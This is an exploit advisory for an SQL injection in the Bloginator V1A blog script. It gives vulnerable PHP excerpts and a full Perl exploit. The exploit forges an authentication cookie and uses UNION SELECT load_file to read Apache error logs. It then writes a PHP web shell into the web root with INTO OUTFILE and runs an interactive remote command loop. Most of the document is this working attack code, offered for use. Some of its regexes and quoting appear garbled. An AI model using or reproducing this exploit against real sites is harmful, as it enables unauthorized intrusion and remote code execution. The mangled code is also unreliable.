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bloginator-sql.txt

Posted on 20 March 2009

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Author = FireShot , Jacopo Vuga.
Thx to = Osirys for develop the Exploitation Code with me
Mail = fireshot<at>autistici<dot>org / osirys<at>autistici<dot>org

Vulnerability = SQL Command Injection (mq = off)
Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Myral, str0ke

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[CODE]


[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST['name'],0,32));
$p_password = strip_tags(substr($_POST['password'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
{

setcookie("identifyYourself","you are identified");
print "Login successfull<br>";
print $returnLink;
}
else {print "Wrong username or password";
}
}
[...]
$action = @$_GET['action'];
[...]
$id = $_GET['id'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = "select * FROM articles WHERE id='$id'";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,'title');
$title = htmlentities($title);
$article = mysql_result($sql,0,'article');
$article = htmlentities($article);
$link = mysql_result($sql,0,'link');
$link = htmlentities($link);

startHTML("Edit ID # ".$id);
?>

[/CODE]


[EXPLOIT]

#!/usr/bin/perl

use IO::Socket;
use LWP::UserAgent;

my $host = $ARGV[0];
my $rand = int(rand 9) +1;

my @error_logs  =  qw(
/var/log/httpd/error.log
/var/log/httpd/error_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/usr/local/apache/logs/error_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error.log
/var/log/error_log
/apache/logs/error.log
);

my $php_c0de   =  "<?php echo "st4rt";system($_GET[cmd]);?>";

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);


print "[*] Generating error through GET request ..
";

get_req($host."/osirys_log_test".$rand);

print "[*] Cheeking Apache Error Log path ..
";

while (($log = <@error_logs>)&&($gotcha != 1)) {
my $regexp = "File does not exist: (.+)/osirys_log_test$rand";
my $sql_load_file = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,load_file('".$log."'),6,7 order by '*";
$re = sql_socket($sql_load_file,$regexp,"1");
if ($re !~ /Failed/) {
$site_path = $re;
$ok = 1;
}
if ($ok == 1) {
print "[*] Error Log path found -> $log
";
print "[*] Website path found -> $site_path
";
&inj_shell;
}
else {
print "[-] Couldn't file error_log !
";
}
}

sub inj_shell {
my $attack  = "/articleCall.php?action=edit&id=osirys' union select 1,2,3,4,'".$php_c0de."',6,7 into outfile '".$site_path."/1337.php";
my $regexp  = "st4rt";
my $re = sql_socket($attack,$regexp,"2");
if ($re == 1) {
print "[*] Shell succesfully injected !
";
print "[&] Hi my master, do your job now [!]

";
$exec_path = $host."/1337.php";
&exec_cmd;

}
else {
print "[-] Shell not found 
[-] Exploit failed

";
exit(0);
}
}

sub exec_cmd {
$h0st !~ /www./ || $h0st =~ s/www.//;
print "shell[$h0st]$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..
";
my $exec_path_ = $exec_path."?cmd=".$cmd;
my $re = get_req($exec_path_);
my $content = tag($re);
if ($content =~ /st4rt(.+)**6/) {
my $out = $1;
$out =~ s/$/ /g;
$out =~ s/*/
/g;
chomp($out);
print "$out
";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/
//;
print "bash: ".$cmd.": command not found
";
$c < 3 || die "[-] Command are not executed.
[-] Something wrong. Exploit Failed !

";
&exec_cmd;
}
}

sub sql_socket() {

my($sql,$regexp,$way) = @_;
$sql = tag_encode($sql);

my $url = $path."/".$sql;

my $data = "GET ".$url." HTTP/1.1
".
"Host: ".$h0st."
".
"Keep-Alive: 300
".
"Connection: keep-alive
".
"Content-Type: application/x-www-form-urlencoded
".
"Cookie: identifyYourself=you+are+identified;
".
"Content-Length: 0

".
"
";

my $socket   =  new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto    => 'tcp',
) or die "[-] Can't connect to $h0st:80
[?] $! 

";

$socket->send($data);

if ($way == 1) {
while ((my $e = <$socket>)&&($stop != 1)) {
if ($e =~ /$regexp/) {
$gotcha = $1;
$stop = 1;
}
}
}
elsif ($way == 2) {
my $re = get_req($host."/1337.php");
if ($re =~ /st4rt/) {
$gotcha = 1;
$stop = 1;
}
else {
$gotcha = 0;
$stop = 0;
}
}
if ($stop == 1) {
return($gotcha);
}
else {
return("Failed");
}

}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http://(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http://(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)//$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /$/g;
$string =~ s/s/*/g;
return($string);
}

sub tag_encode() {
my $sql = $_[0];
$sql =~ s/ /\%20/g;
$sql =~ s/</\%3C/g;
$sql =~ s/>/\%3E/g;
$sql =~ s/"/\%22/g;
return($sql);
}

sub banner {
print "
".
"  ---------------------------
".
"     SQL Command Injection   
".
"       via Cookie Bypass     
".
"         Bloginator V1A      
".
"     by FireShot & Osirys    
".
"  ---------------------------

";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "
[-] Input data failed ! 
";
}
elsif ($error == -2) {
&banner;
print "
[-] Bad hostname address !
";
}
print "[*] Usage : perl $0 http://hostname/cms_path

";
exit(0);
}

[/EXPLOIT]

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